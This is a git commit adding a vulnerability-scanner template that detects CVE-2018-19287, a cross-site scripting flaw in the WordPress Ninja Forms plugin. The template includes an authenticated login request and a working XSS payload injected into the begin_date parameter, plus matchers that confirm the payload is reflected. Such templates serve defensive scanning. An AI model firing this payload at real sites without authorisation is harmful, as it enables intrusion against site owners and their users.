Added template for CVE-2018-19287

patch-1
Aman Rawat 2022-10-13 15:58:46 +05:30
parent aa3136d8b4
commit 798d7e5e88
1 changed files with 47 additions and 0 deletions

View File

@ -0,0 +1,47 @@
id: CVE-2018-19287
info:
name: WordPress Plugin Ninja Forms - Cross-Site Scripting
author: theamanrawat
severity: medium
description: XSS in the Ninja Forms plugin before 3.3.18 for WordPress allows Remote Attackers to execute JavaScript.
reference:
- https://wordpress.org/plugins/ninja-forms/
- https://www.exploit-db.com/exploits/45880
- https://nvd.nist.gov/vuln/detail/CVE-2018-19287
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cve-id: CVE-2018-19287
metadata:
verified: "true"
tags: cve,wp-plugin,ninja-forms,wordpress,wp,xss,authenticated
requests:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/edit.php?s&post_status=all&post_type=nf_sub&action=-1&form_id=1&nf_form_filter&begin_date="><img+src%3Dx+onerror%3Dalert%28document.domain%29%3B%2F%2F&end_date&filter_action=Filter&paged=1&action2=-1 HTTP/1.1
Host: {{Hostname}}
req-condition: true
cookie-reuse: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'Begin Date" value="\"><img src=x onerror=alert(document.domain);//">'
- type: status
status:
- 200
- type: word
part: header
words:
- 'text/html'